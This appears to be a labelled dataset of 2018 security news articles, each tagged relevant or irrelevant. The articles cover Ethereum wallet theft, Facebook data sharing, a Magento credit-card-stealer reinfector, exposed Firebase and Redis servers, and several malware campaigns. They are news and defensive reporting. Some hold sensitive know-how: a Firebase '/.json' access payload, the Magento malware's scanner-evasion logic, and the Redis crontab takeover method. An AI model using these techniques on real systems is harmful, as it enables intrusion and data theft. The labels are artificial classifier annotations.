"Hackers Stole Over $20 Million in Ethereum from Insecurely Configured Clients Security researchers have been warning about cybercriminals who have made over 20 million dollars in just past few months by hijacking insecurely configured Ethereum nodes exposed on the Internet. Qihoo 360 Netlab in March tweeted about a group of cybercriminals who were scanning the Internet for port 8545 to find insecure geth clients running Ethereum nodes and, at that time, stole 3.96234 units of Ethereum cryptocurrency (Ether). However, researchers now noticed that another cybercriminal group have managed to steal a total 38,642 Ether, worth more than $20,500,000 at the time of writing, in past few months by hijacking Ethereum wallets of users who had opened their JSON-RPC port 8545 to the outside world. Geth is one of the most popular clients for running Ethereum node and enabling JSON-RPC interface on it allows users to remotely access the Ethereum blockchain and node functionalities, including the ability to send transactions from any account which has been unlocked before sending a transaction and will stay unlocked for the entire session. ethereum-hacking Here's the attackers' Ethereum account address, where all the stolen funds have been collected: 0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464 By simply searching this address on the Internet, we found dozens of forums and websites where users have posted details of similar incidents happened with them, describing about the same account address hackers used to stole their funds from the insecurely configured Ethereum nodes. According to an advisory issued by Ethereum Project three years ago, leaving the JSON-RPC interface on an internet-accessible machine without a firewall policy opens up your cryptocurrency wallet to theft ""by anybody who knows your [wallet] address in combination with your IP."" NetLab researchers warned that not only the above-mentioned cybercriminal group but other attackers are also actively scanning the Internet for insecure JSON-RPC interface to steal funds from cryptocurrency wallets. ""If you have honeypot running on port 8545, you should be able to see the requests in the payload. Which has the wallet addresses. And there are quite a few ips scanning heavily on this port now,"" 360 Netlab tweeted. Users who have implemented Ethereum nodes are advised only to allow connections to the geth client originating from the local computer, or to implement user-authorization if remote RPC connections need to be enabled.",irrelevant
"Facebook Accused of Giving Over 60 Device-Makers Deep Access to User Data After being embroiled into controversies over its data sharing practices, it turns out that Facebook had granted inappropriate access to its users' data to more than 60 device makers, including Amazon, Apple, Microsoft, Blackberry, and Samsung. According to a lengthy report published by The New York Times, the social network giant struck data-sharing partnerships with at least 60 device manufacture companies so that they could offer Facebook messaging functions, ""Like"" buttons, address books, and other features without requiring their users to install a separate app. The agreements were reportedly made over the last 10 years, starting before Facebook apps were widely available on smartphones. Most notably, the publication suggests that the partnerships could be in breach of a 2011 consent decree by the Federal Trade Commission (FTC), which barred Facebook from granting other companies access to data of users' Facebook friends without their explicit consent​. During the Cambridge Analytica scandal revealed in March this year, Facebook stated that it already ceased allowing such third-party access in 2015 only, but the publication suggests that this does not include ""makers of cellphones, tablets and other hardware."" Facebook is under heavy fire since the revelation that consultancy firm Cambridge Analytica had misused data of 87 million Facebook users to help Donald Trump win the US presidency in 2016. In a recent test conducted by an NYT reporter on a 2013 Blackberry device using his Facebook account with roughly 550 friends, a BlackBerry app called ""The Hub"" was still able to harvest private data from 556 of his friends, including their religious and political views. Not only that, but The Hub was also able to acquire ""identifying information"" for up to 294,258 friends of his Facebook friends. Here's What Facebook Has to Say About this: facebook-apis Facebook, who said in front of Congress in March that ""every piece of content that you share on Facebook you own. You have complete control over who sees it and how you share it,"" responded to the NYT report later Sunday in a blog post entitled ""Why We Disagree with The New York Times."" In the post, Facebook said the company created the APIs for Amazon, Apple, Blackberry, HTC, Microsoft, Samsung and other device makers so that they could provide Facebook features on their operating systems at a time when there were no apps or app stores. The post, written by VP of Product Partnerships Ime Archibong, said the data agreements with the device makers were a necessity: ""In the early days of mobile, the demand for Facebook outpaced our ability to build versions of the product that worked on every phone or operating system. It's hard to remember now, but back then there were no app stores."" ""So companies like Facebook, Google, Twitter and YouTube had to work directly with operating system and device manufacturers to get their products into people's hands. This took a lot of time—and Facebook was not able to get to everyone."" ""To bridge this gap, we built a set of device-integrated APIs that allowed companies to recreate Facebook-like experiences for their individual devices or operating systems. Over the last decade, around 60 companies have used them—including many household names such as Amazon, Apple, Blackberry, HTC, Microsoft, and Samsung."" The post further said that Facebook controlled these APIs tightly and that its partners signed agreements that prevented Facebook users' information from being used for anything other than to ""recreate Facebook-like experience."" ""Partners could not integrate the user's Facebook features with their devices without the user's permission. And our partnership and engineering teams approved the Facebook experiences these companies built,"" the post reads. ""Contrary to claims by the New York Times, friends' information, like photos, was only accessible on devices when people made a decision to share their information with those friends. We are not aware of any abuse by these companies."" Due to the popularity of iOS and Android few people rely on these APIs to create bespoke Facebook experiences, which is why the social network giant began ""winding down"" the partnerships in April, and so far ended 22 of these partnerships.",irrelevant
"Another Facebook Quiz App Left 120 Million Users' Data Exposed People are still getting over the most controversial data scandal of the year, i.e., Cambridge Analytica scandal, and Facebook is under fire yet again after it emerges that a popular quiz app on the social media platform exposed the private data of up to 120 million users for years. Facebook was in controversies earlier this year over a quiz app that sold data of 87 million users to a political consultancy firm, who reportedly helped Donald Trump win the US presidency in 2016. Now, a different third-party quiz app, called NameTests, found exposing data of up to 120 million Facebook users to anyone who happened to find it, an ethical hacker revealed. NameTests[.]com, the website behind popular social quizzes, like ""Which Disney Princess Are You?"" that has around 120 million monthly users, uses Facebook's app platform to offer a fast way to sign up. Just like any other Facebook app, signing up on the NameTests website using their app allows the company to fetch necessary information about your profile from the Facebook, with consent naturally. However, Inti De Ceukelaire, a bug bounty hunter and hacker, found that the popular quiz website is leaking logged-in user's detail to the other websites opened in the same browser, allowing any malicious website to obtain that data easily. In a Medium post published yesterday, Ceukelaire said he liked to participate in the Data Abuse Bounty Program that Facebook recently launched in the wake of Cambridge Analytica scandal. So, he started looking at the apps his friends on Facebook had installed. website-data-leak Ceukelaire then decided to take his first quiz through the NameTests app, and as he started taking a closer look on the test process, he noticed that the website was fetching his personal information from ""https://nametests[.]com/appconfig_user"" and display it on its website. Ceukelaire was shocked when he saw his personal data in a JavaScript file that could easily be accessed by virtually any website when they would request it. What Was the Flaw? How It Leaked Users' Data? This issue was due to a simple yet severe flaw in NameTests website that appears to have existed since the end of 2016. Storing user data in JavaScript file caused the website to leak data to other websites, which is otherwise not possible due to browser's Cross-Origin Resource Sharing (CORS) policy that prevents a website from reading the content of other websites without their explicit permission. As a proof of concept, Ceukelaire developed a malicious website that would connect to NameTests to mine the data of visitors using the app. Using a simple bit of code, he was able to harvest the names, photos, posts, pictures, and friends lists of anyone taking part in the quiz. The vigilant hacker also made a video as a proof of his findings, demonstrating how the NameTests website revealed your personal data even after deleting the app. Ceukelaire reported the flaw via Facebook's Data Abuse Bounty Program on April 22, and over a month later the social media informed him that it could take three to six months to investigate the issue. Over two months after initially reporting the issue to Facebook, Ceukelaire noticed that NameTests has fixed the issue, and told him it had found no evidence of abuse of the exposed data by any third party. On 27th June, Facebook contacted Ceukelaire and informed him that NameTests had fixed the issue, and at his request, donated $8,000 to the Freedom of the Press Foundation as part of its Data Abuse Bounty Program. German company Social Sweethearts, who is behind NameTests, claims to have more than 250 million registered users and have reached more than 3 billion page views per month. The latest incident shows that, even after the social media giant changed its conditions for apps to access data on its platform back in 2015, Facebook failed to adequately police such apps that have access to substantial amounts of personal data on its platform.",relevant
"Adobe Issues Patch for Actively Exploited Flash Player Zero-Day Exploit If you have already uninstalled Flash player, well done! But if you haven't, here's another great reason for ditching it. Adobe has released a security patch update for a critical vulnerability in its Flash Player software that is actively being exploited in the wild by hackers in targeted attacks against Windows users. Independently discovered last week by several security firms—including ICEBRG, Qihoo 360 and Tencent—the Adobe Flash player zero-day attacks have primarily been targeting users in the Middle East using a specially crafted Excel spreadsheet. ""The hackers carefully constructed an Office document that remotely loaded Flash vulnerability. When the document was opened, all the exploit code and malicious payload were delivered through remote servers,"" Qihoo 360 published vulnerability analysis in a blog post. The stack-based buffer overflow vulnerability, tracked as CVE-2018-5002, impacts Adobe Flash Player 29.0.0.171 and earlier versions on Windows, MacOS, and Linux, as well as Adobe Flash Player for Google Chrome, and can be exploited to achieve arbitrary code execution on targeted systems. flash-player-zero-day-vulnerability The vulnerability resides in the interpreter code of the Flash Player that handles static-init methods, which fails to correctly handle the exceptions for try/catch statements. ""Because Flash assumes that it is impossible to execute to the catch block when processing the try catch statement, it does not check the bytecode in the catch block,"" the researchers explain. ""The attacker uses the getlocal, setlocal instruction in the catch block to read and write arbitrary addresses on the stack."" The registration date for a web domain, mimicking a job search website in the Middle East, used as the command and control (C&C) server for zero-day attacks suggests that hackers have been making preparations for the attack since February. Besides the patch for CVE-2018-5002, Adobe also rolled out security updates for two ""important"" vulnerabilities—including Integer Overflow bug (CVE-2018-5000) and an Out-of-bounds read issue (CVE-2018-5001)—both of which lead to information disclosure. So, users are highly recommended to immediately update their Adobe Flash Player to versions 30.0.0.113 via their update mechanism within the software or by visiting the Adobe Flash Player Download Center.",relevant
"Free Thanatos Ransomware Decryption Tool Released If your computer has been infected with Thanatos Ransomware and you are searching for a free ransomware decryption tool to unlock or decrypt your files—your search is over here. Security researchers at Cisco Talos have discovered a weakness in the Thanatos ransomware code that makes it possible for victims to unlock their Thanatos encrypted files for free without paying any ransom in cryptocurrencies. Like all ransomware threats, Thanatos encrypts files and asks victims to pay for ransom in multiple cryptocurrencies, including Bitcoin Cash, to decrypt their files. ""Multiple versions of Thanatos have been leveraged by attackers, indicating that this is an evolving threat that continues to be actively developed by threat actors with multiple versions having been distributed in the wild,"" the researchers say. ""Unlike other ransomware commonly being distributed, Thanatos does not demand ransom payments to be made using a single cryptocurrency like bitcoin. Instead, it has been observed supporting ransom payments in the form of Bitcoin Cash (BCH), Zcash (ZEC), Ethereum (ETH) and others."" Once infected, all the encrypted filename extensions on the affected computer are changed to .THANATOS, and then a ransom note pops up whenever the user tries to log on to the system, instructing them to send the ransom money to a hardcoded cryptocurrency wallet address in order to decrypt the files. However, since Thanatos uses different encryption keys to encrypt each file on an infected system without storing them anywhere, it is impossible for malware authors to return users' data, even if the victims pay the ransom. Free Thanatos Ransomware Decryption Tool Cisco researchers analyzed the malware code and found a loophole in the design of the file encryption methodology used by Thanatos, using which they developed a free ransomware decryption tool that will help victims decrypt their files. Dubbed ThanatosDecryptor, the open source, free ransomware decryption tool can be downloaded from the GitHub website, which has recently been acquired by Microsoft for $7.5 billion, and works for Thanatos ransomware versions 1 and 1.1 Since the encryption keys used by Thanatos are derived based upon the number of milliseconds since the system last booted, it was possible for researchers to reverse engineer the logic and re-generate the same 32-bit encryption key using brute force attack and Windows Event Logs. ""Since Thanatos does not modify the file creation dates on encrypted files, the key search space can be further reduced to approximately the number of milliseconds within the 24-hour period leading up to the infection,"" researchers explain. ""At an average of 100,000 brute-force attempts per second (which was the baseline in a virtual machine used for testing), it would take roughly 14 minutes to successfully recover the encryption key in these conditions."" For more detail about the Thanatos ransomware, you can head on to detailed blog post published by Cisco Talos today. How to Protect Yourself From Ransomware Attacks Most ransomware spread through phishing emails, malicious adverts on websites, and third-party apps and programs. Whether it's Locky, CoinVault, Thanatos, TeslaCrypt, or any other ransomware malware, the protection measures are standard. To safeguard against such ransomware attacks, you should always be suspicious of uninvited documents sent in an email and never click on links inside those documents unless verifying their sources. Check if macros are disabled in your MS Office apps. If not, block macros from running in MS Office files from the Internet. In order to always have a tight grip on all your important documents, keep a good backup routine in place that makes copies of your files to an external storage device which is not always connected to your PC. Moreover, make sure that you run an active behavioral-based antivirus security suite on your system that can detect and block such malware before it can infect your device, and always remember to keep them up-to-date.",irrelevant
"Github Account of Gentoo Linux Hacked, Code Replaced With Malware Downloaded anything from Gentoo's GitHub account yesterday? Consider those files compromised and dump them now—as an unknown group of hackers or an individual managed to gain access to the GitHub account of the Gentoo Linux distribution on Thursday and replaced the original source code with a malicious one. Gentoo is a free open source Linux or FreeBSD-based distribution built using the Portage package management system that makes it more flexible, easier to maintain, and portable compared to other operating systems. In a security alert released on its website yesterday, developers of the Gentoo Linux distribution warned users not to use code from its GitHub account, as some ""unknown individuals"" had gained its control on 28 June at 20:20 UTC and ""modified the content of repositories as well as pages there."" According to Gentoo developer Francisco Blas Izquierdo Riera, after gaining control of the Gentoo Github organization, the attackers ""replaced the portage and musl-dev trees with malicious versions of the ebuilds intended to try removing all of your files."" Ebuild are bash scripts, a format created by the Gentoo Linux project, which automates compilation and installation procedures for software packages, helping the project with its portage software management system. ""We are still working to determine the exact extent and to regain control of the organization and its repositories. All Gentoo code hosted on GitHub should for the moment be considered compromised,"" the alert said. However, Gentoo assured its users that the incident did not affect any code hosted on the Gentoo's official website or the mirror download servers and that users would be fine as long as they are using rsync or webrsync from gentoo.org. This is because the master Gentoo ebuild repository is hosted on its own official portal and Github is just a mirror for it. ""Also, the gentoo-mirror repositories including metadata are hosted under a separate Github organisation and likely not affected as well. All Gentoo commits are signed, and you should verify the integrity of the signatures when using git,"" the developer said. In an update later on its website, the organisation said it has regained control of the Gentoo Github Organization, but advised users to continue to refrain from using code from its Github account, as they are still working with Github, which was recently acquired by Microsoft for US$7.5 billion, on establishing a timeline of what happened. If you are the one who have downloaded Gentoo Linux images from GitHub instead of its official website, you are highly recommend to backup your content and reinstall the OS from scratch.",relevant
"New 'Lazy FP State Restore' Vulnerability Found in All Modern Intel CPUs Hell Yeah! Another security vulnerability has been discovered in Intel chips that affects the processor's speculative execution technology—like Specter and Meltdown—and could potentially be exploited to access sensitive information, including encryption related data. Dubbed Lazy FP State Restore, the vulnerability (CVE-2018-3665) within Intel Core and Xeon processors has just been confirmed by Intel, and vendors are now rushing to roll out security updates in order to fix the flaw and keep their customers protected. The company has not yet released technical details about the vulnerability, but since the vulnerability resides in the CPU, the flaw affects all devices running Intel Core-based microprocessors regardless of the installed operating systems, except some modern versions of Windows and Linux distributions. As the name suggests, the flaw leverages a system performance optimization feature, called Lazy FP state restore, embedded in modern processors, which is responsible for saving or restoring the FPU state of each running application 'lazily' when switching from one application to another, instead of doing it 'eagerly.' ""System software may opt to utilize Lazy FP state restore instead of eager save and restore of the state upon a context switch,"" Intel says while describing the flaw. ""Lazy restored states are potentially vulnerable to exploits where one process may infer register values of other processes through a speculative execution side channel that infers their value."" According to the Red Hat advisory, the numbers held in FPU registers could potentially be used to access sensitive information about the activity of other applications, including parts of cryptographic keys being used to secure data in the system. All microprocessors starting with Sandy Bridge are affected by this designing blunder, which means lots of people again should gear them up to fix this vulnerability as soon as the patches are rolled out. However, it should be noted that, unlike Spectre and Meltdown, the latest vulnerability does not reside in the hardware. So, the flaw can be fixed by pushing patches for various operating systems without requiring new CPU microcodes from Intel. According to Intel, since the flaw is similar to Spectre Variant 3A (Rogue System Register Read), many operating systems and hypervisor software have already addressed it. Red Hat is already working with its industry partners on a patch, which will be rolled out via its standard software release mechanism. AMD processors are not affected by this issue. Also, modern versions of Linux—from kernel version 4.9, released in 2016, and later are not affected by this flaw. Only if you are using an older Kernel, you are vulnerable to this vulnerability. Moreover, modern versions of Windows, including Server 2016, and latest spins of OpenBSD and DragonflyBSD are not affected by this flaw. Microsoft has also published a security advisory, offering guidance for the Lazy FP State Restore vulnerability and explaining that the company is already working on security updates, but they will not be released until the next Patch Tuesday in July. Microsoft says that Lazy restore is enabled by default in Windows and cannot be disabled, adding that virtual machines, kernel, and processes are affected by this vulnerability. However, customers running virtual machines in Azure are not at risk.",relevant
"Magento Hackers Using Simple Evasion Trick to Reinfect Sites With Malware Security researchers have been warning of a new trick that cybercriminals are leveraging to hide their malicious code designed to re-introduce the infection to steal confidential information from Magento based online e-commerce websites. So, if you have already cleaned up your hacked Magento website, there are chances your website is still leaking login credentials and credit card details of your customers to hackers. More than 250,000 online stores use open-source Magento e-commerce platform, which makes them an enticing target for hackers, and therefore the security of both your data and your customer data is of the utmost importance. According to the researchers at Sucuri, who have previously spotted several Magento malware campaigns in the wild, cybercriminals are currently using a simple yet effective method to ensure that their malicious code is added back to a hacked website after it has been removed. To achieve this, criminals are hiding their 'credit card stealer reinfector' code inside the default configuration file (config.php) of Magento website, which gets included on the main index.php and loads with every page view, eventually re-injecting the stealer code into multiple files of the website. Since config.php file gets automatically configured while installing Magento CMS, usually it is not recommended for administrators or website owners to change the content of this file directly. Here's How Magento's Reinfector Code Works magento-website-hacking The reinfector code spotted by researchers is quite interesting as it has been written in a way that no security scanner can easily identify and detect it, as well as it hardly looks malicious for an untrained eye. Hackers have added 54 extra lines of code in the default configuration file. Here below, I have explained the malicious reinfector code line-by-line, shown in the screenshots, written inside the default config.php file. At line no. 27, attackers set error_reporting() function to false in an attempt to hide errors messages that could reveal the path of the malicious module to site admins. From line no. 31 to 44, there's a function called patch() that has been programmed to append the malicious code for stealing confidential information into legitimate Magento files. This patch() function uses 4 arguments, values of which defines the path of a folder, name of a specific file resides in that path needs to be infected, file size required to check if it is necessary to reinfect the given file, a new file name to be created, and a remote URL from where the malicious code will be downloaded in real-time and injected into the targeted file. From line 50 to 51, attackers have smartly split up the base64_decode() function in multiple parts in order to evade detection from security scanners. magento-website-hacking The line 52 includes a base64 encoded value that converts to ""https://pastebin.com/raw/"" after getting decoded using the function defined in line 50-51. The next four sets of variables from line 54 to 76 define the four values required to pass arguments to the patch() function mentioned above. The last line of each set includes a random eight character value that concatenated with the link variable encoded in line 52, which eventually generates the final URL from where the patch() function will download the malicious code hosted on remote Pastebin website. From line 78 to 81, attacker finally executes patch() function four times with different values defined in line 54-76 to reinfect website with the credit card stealer. ""As a rule of thumb, on every Magento installation where a compromise is suspected to have taken place, the /includes/config.php should be verified quickly,"" researchers advise. It should be noted that similar technique can also be used against websites based on other content management system platforms such as Joomla and WordPress to hide malicious code. Since attackers mostly exploit known vulnerabilities to compromise websites at the very first place, users are always recommended to keep their website software and servers updated with the latest security patches.",relevant
"Thousands of Mobile Apps Expose Their Unprotected Firebase Hosted Databases Mobile security researchers have discovered unprotected Firebase databases of thousands of iOS and Android mobile applications that are exposing over 100 million data records, including plain text passwords, user IDs, location, and in some cases, financial records such as banking and cryptocurrency transactions. Google's Firebase service is one of the most popular back-end development platforms for mobile and web applications that offers developers a cloud-based database, which stores data in JSON format and synced it in the real-time with all connected clients. Researchers from mobile security firm Appthority discovered that many app developers' fail to properly secure their back-end Firebase endpoints with firewalls and authentication, leaving hundreds of gigabytes of sensitive data of their customers publicly accessible to anyone. Since Firebase offers app developers an API server, as shown below, to access their databases hosted with the service, attackers can gain access to unprotected data by just adding ""/.json"" with a blank database name at the end of the hostname. Sample API URL: https://<Firebase project name>.firebaseio.com/<database.json> Payload to Access: Data https://<Firebase project name>.firebaseio.com/.json To find the extent of this issue, researchers scanned over 2.7 million apps and found that more than 3,000 apps—2,446 Android and 600 iOS apps—were leaking a whole 2,300 databases with more than 100 million records, making it a giant breach of over 113 gigabytes of data. mobile-security-firebase-database The vulnerable Android apps alone were downloaded more than 620 million times. Affected apps belong to multiple categories such as telecommunication, cryptocurrency, finance, postal services, ride-sharing companies, educational institutions, hotels, productivity, health, fitness, tools and more. Researchers also provided a brief analysis, given below, of the obtained data they had downloaded from vulnerable applications. 2.6 million plaintext passwords and user IDs 4 million+ PHI (Protected Health Information) records (chat messages and prescription details) 25 million GPS location records 50,000 financial records including banking, payment and Bitcoin transactions 4.5 million+ Facebook, LinkedIn, Firebase, and corporate data store user tokens. Firebase data leak hack Researcher claims all this is happening at the first place because Google Firebase service does not secure user data by default, requiring developers to explicitly implement user authentication on all database rows and tables to protect their databases from unauthorized access. ""The only security feature available to developers is authentication and rule-based authorization,"" the researchers explain. What's worse? There are no ""third-party tools available to provide encryption for it."" Researchers had already contacted Google and provided a list of all vulnerable app databases, and also contacted a few app developers helping them to patch this issue.",irrelevant
"Hackers Who Hit Winter Olympics 2018 Are Still Alive and Kicking Remember the 'Olympic Destroyer' cyber attack? The group behind it is still alive, kicking and has now been found targeting biological and chemical threat prevention laboratories in Europe and Ukraine, and a few financial organisation in Russia. Earlier this year, an unknown group of notorious hackers targeted Winter Olympic Games 2018, held in South Korea, using a destructive malware that purposely planted sophisticated false flags to trick researchers into mis-attributing the campaign. Unfortunately, the destructive malware was successful to some extent, at least for a next few days, as immediately after the attack various security researchers postmortem the Olympic Destroyer malware and started attributing the attack to different nation-state hacking groups from North Korea, Russia, and China. Later researchers from Russian antivirus vendor Kaspersky Labs uncovered more details about the attack, including the evidence of false attribution artifacts, and concluded that the whole attack was a masterful operation in deception. olympic-destroyer-malware-cyberattack Now according to a new report published today by Kaspersky Labs, the same group of hackers, which is still unattributed, has been found targeting organisations in Russia, Ukraine, and several European countries in May and June 2018, specifically those organizations that respond to and protect against biological and chemical threats. New Attack Shares Similarities With Olympic Destroyer During their investigation, researchers found that the exploitation and deception tactics used by the newly discovered campaign share many similarities with the Olympic Destroyer attack. ""In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past,"" the researchers said. ""They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection."" Just like Olympic Destroyer, the new attack also targets users affiliated with specific organisations using spear-phishing emails that appear as coming from an acquaintance, with an attached document. If the victims open the malicious document, it leverages macros to download and execute multiple PowerShell scripts in the background and install the final 3rd-stage payload to take remote control over the victims' system. Researchers found that the technique used to obfuscate and decrypt the malicious code is same as used in the original Olympic Destroyer spear-phishing campaign. The second-stage script disables Powershell script logging to avoid leaving traces and then downloads the final ""Powershell Empire agent"" payload, which allows fileless control of the compromised systems over an encrypted communication channel. Hackers Target Biological and Chemical Threat Prevention Laboratories According to the researchers, the group has attempted to gain access to computers in countries, including France, Germany, Switzerland, Russia, and Ukraine. olympic-destroyer-malware-cyberattack Researchers found evidence of hackers primarily targeting people affiliated with an upcoming biochemical threat conference, called Spiez Convergence, held in Switzerland and organized by Spiez Laboratory. Spiez Laboratory played an essential role in investigating the poisoning in March of a former Russian spy in the UK. The U.K. and the U.S. both said Russia was behind the poisoning and expelled dozens of Russian diplomats. Another document targeted Ministry of Health in Ukraine. It is not yet known that who behind these attacks, but Kaspersky advises all biochemical threat prevention and research organizations to strengthen their IT security and run unscheduled security audits.",irrelevant
"OpenBSD Disables Intel Hyper-Threading to Prevent Spectre-Class Attacks Security-oriented BSD operating system OpenBSD has decided to disable support for Intel's hyper-threading performance-boosting feature, citing security concerns over Spectre-style timing attacks. Introduced in 2002, Hyper-threading is Intel's implementation of Simultaneous Multi-Threading (SMT) that allows the operating system to use a virtual core for each physical core present in processors in order to improve performance. The Hyper-threading feature comes enabled on computers by default for performance boosting, but in a detailed post published Tuesday, OpenBSD maintainer Mark Kettenis said such processor implementations could lead to Spectre-style timing attacks. ""SMT (Simultaneous multithreading) implementations typically share TLBs and L1 caches between threads,"" Kettenis wrote. ""This can make cache timing attacks a lot easier, and we strongly suspect that this will make several Spectre-class bugs exploitable."" In cryptography, side-channel timing attack allows attackers to compromise a system by analyzing the time taken to execute cryptographic algorithms. By measuring the precise time taken for each operation, an attacker can inversely calculate the input values to reveal confidential information. Meltdown and Spectre-class vulnerabilities discovered earlier this year would be excellent examples of timing attacks. Therefore, to prevent users of the OpenBSD operating system from such previously disclosed, as well as future timing attacks, the OpenBSD project has disabled the hyper-threading feature on Intel processors by default, as part of system hardening. What About System Performance? You might be thinking, removing this optimization feature could impact the performance of your system negatively, but OpenBSD doesn't think so. Kettenis believes that switching off SMT will not have any negative effect on the system performance, saying leaving it enabled could actually slow down most compute workloads on CPUs with more than two physical cores. Kettenis also stressed that OpenBSD will also disable the built-in SMT feature by default for CPUs from other vendors, like AMD, in the future. ""We really should not run different security domains on different processor threads of the same core,"" Kettenis wrote. OpenBSD has rolled out a new setting via ""hw.smt sysctl"" that, by default, disables SMT support, and those who want to leverage simultaneous multithreading feature can manually enable it. However, the new toggle feature only available for Intel CPUs running OpenBSD/amd64 for now and soon will be extended to other vendors and hardware architectures.",irrelevant
"Prowli Malware Targeting Servers, Routers, and IoT Devices After the discovery of massive VPNFilter malware botnet, security researchers have now uncovered another giant botnet that has already compromised more than 40,000 servers, modems and internet-connected devices belonging to a wide number of organizations across the world. Dubbed Operation Prowli, the campaign has been spreading malware and injecting malicious code to take over servers and websites around the world using various attack techniques including use of exploits, password brute-forcing and abusing weak configurations. Discovered by researchers at the GuardiCore security team, Operation Prowli has already hit more than 40,000 victim machines from over 9,000 businesses in various domains, including finance, education and government organisations. Here's the list devices and services infected by the Prowli malware: Drupal and WordPress CMS servers hosting popular websites Joomla! servers running the K2 extension Backup servers running HP Data Protector software DSL modems Servers with an open SSH port PhpMyAdmin installations NFS boxes Servers with exposed SMB ports Vulnerable Internet-of-Thing (IoT) devices All the above targets were infected using either a known vulnerability or credential guessing. Prowli Malware Injects Cryptocurrency Miner prowli-malware-attack Since the attackers behind the Prowli attack are abusing the infected devices and websites to mine cryptocurrency or run a script that redirects them to malicious websites, researchers believe they are more focused on making money rather than ideology or espionage. According to GuardiCore researchers, the compromised devices were found infected with a Monero (XMR) cryptocurrency miner and the ""r2r2"" worm—a malware written in Golang that executes SSH brute-force attacks from the infected devices, allowing the Prowli malware to take over new devices. In simple words, ""r2r2 randomly generates IP address blocks and iteratively tries to brute force SSH logins with a user and password dictionary. Once it breaks in, it runs a series of commands on the victim,"" the researchers explain. These commands are responsible for downloading multiple copies of the worm for different CPU architectures, a cryptocurrency miner and a configuration file from a remote hard-coded server. Attackers Also Tricks Users Into Installing Malicious Extensions Besides cryptocurrency miner, attackers are also using a well known open source webshell called ""WSO Web Shell"" to modify the compromised servers, eventually allowing attackers to redirect visitors of websites to fake sites distributing malicious browser extensions. The GuardiCore team traced the campaign across several networks around the world and found the Prowli campaign associated with different industries. ""Over a period of 3 weeks, we captured dozens of such attacks per day coming from over 180 IPs from a variety of countries and organizations,"" the researchers said. ""These attacks led us to investigate the attackers' infrastructure and discover a wide-ranging operation attacking multiple services."" How to Protect Your Devices From Prowli-like Malware Attacks Since the attackers are using a mix of known vulnerabilities and credential guessing to compromise devices, users should make sure their systems are patched and up to date and always use strong passwords for their devices. Moreover, users should also consider locking down systems and segmenting vulnerable or hard to secure systems, in order to separate them from the rest of their network. Late last month, a massive botnet, dubbed VPNFilter, was found infecting half a million routers and storage devices from a wide range of manufacturers in 54 countries with a malware that has capabilities to conduct destructive cyber operations, surveillance and man-in-the-middle attacks.",relevant
"Python-Based Adware Evolves to Install Malicious Browser Extensions Security researchers have been warning of a few newly detected variants of python-based adware that are being distributed in the wild not only to inject ads but also found installing malicious browser extensions and hidden cryptocurrency miner into victims' computers. Dubbed PBot, or PythonBot, the adware was first uncovered more than a year ago, but since then the malware has evolved, as its authors have been trying different money-making schemes to profit themselves, according to researchers at Kaspersky Labs. The previous versions of the PBot malware were designed to perform man-in-the-browser (MITB) attacks to inject unwanted advertising scripts on web pages visited by the victim, but the newer variants have been found installing malicious ad extensions in the web browser. ""Developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation,"" Kaspersky researchers said in their blog post published today. ""Another distinctive feature of this PBot variation is the presence of a module that updates scripts and downloads fresh browser extensions."" The malware is usually distributed through pop-up advertisements on partner sites, which redirect users to the PBot download page, disguised as legitimate software. Clicking anywhere on the download page eventually drops an ""update.hta"" file on the victim's system, which if opened, downloads the original PBot installer from a remote command-and-control server. Also Read: Learn Python Online — From Scratch to Penetration Testing During installation, the malware drops a folder with the Python 3 interpreter, some Python scripts, and a browser extension on the targeted system. After that, it uses Windows Task Scheduler to execute python scripts when the user signs into the system. PBot consists of ""several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier,"" the researchers say. If PBot finds any targeted web browsers (Chrome/Opera) installed on the victim's system, it uses ""brplugin.py"" script to generate DLL file and then injects it into the launched browser and install the ad extension. ""The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites,"" the researchers explain. Although the malware has not been distributed across the globe, it has an alarming number of victims, the majority of which resides in Russia, Ukraine, and Kazakhstan. ""Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise,"" the researchers say. The best way to protect yourself from avoiding falling victims to such attacks is always to be vigilant while surfing the Internet, and always keep a good antivirus software installed on your computer that can detect and block such threats. Last but not the least, always download apps from trusted sources, like Google Play Store, and stick to verified developers, and do not forget to keep both your devices and software up-to-date.",relevant
"75% of the 'Left to Get Hacked' Redis Servers Found Infected Despite the continual emergence of new cyber attacks because of misconfigured servers and applications, people continue to ignore security warnings. A massive malware campaign designed to target open Redis servers, about which researchers warned almost two months ago, has now grown and already hijacked at least 75% of the total servers running publicly accessible Redis instances. Redis, or REmote DIctionary Server, is an open source, widely popular data structure tool that can be used as an in-memory distributed database, message broker or cache. Since it is designed to be accessed inside trusted environments, it should not be exposed on the Internet. Dubbed RedisWannaMine, a similar malware leveraging same loophole was discovered in late March by data center security vendor Imperva and designed to drop a cryptocurrency mining script on the targeted servers—both database and application. According to Imperva's March blog post, this cryptojacking threat was ""more complex in terms of evasion techniques and capabilities. It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers' infection rate and fatten their wallets."" A newly published report from the same security firm has now revealed that three-quarters of the open Redis servers accessible from the Internet (over port 6379) contain malicious sets of a key-value pair in the memory, indicating despite multiple warnings administrators continue to leave their servers vulnerable to hackers. Out of total compromised servers, 68 percent systems were found infected using similar keys, named ""backup1, backup2, backup3,"" which were attacked from a medium-sized botnet located at China (86% of IPs), according to the data Imperva collected from their self-set-up publicly available Redis servers to serve as a honeypot. Moreover, the attackers have now found using the compromised servers as a proxy to scan and find vulnerabilities, including SQL injection, cross-site scripting, malicious file uploads, and remote code executions, in other websites. The new attack works by setting a malicious key-value pair in the memory and saving it as a file in the /etc/crontabs folder that forces the server to execute the file. ""Attackers usually set values that include commands to download external remote resource and run it. Another popular type of command is adding SSH keys, so the attacker can remotely access the machine and take it over,"" Nadav Avital, security research team leader at Imperva, explains in a blog post. To protect Redis servers from falling victim to such attacks, administrators are advised never to expose their servers to the Internet, but if required, apply authentication mechanism to prevent unauthorized access. Also, since Redis doesn't use encryption and stores data in plain text, you should never store any sensitive data on these servers. ""Security issues commonly arise when people don't read the documentation and migrate services to the cloud, without being aware of the consequences or the adequate measures that are needed to do so,"" Avital said.",relevant
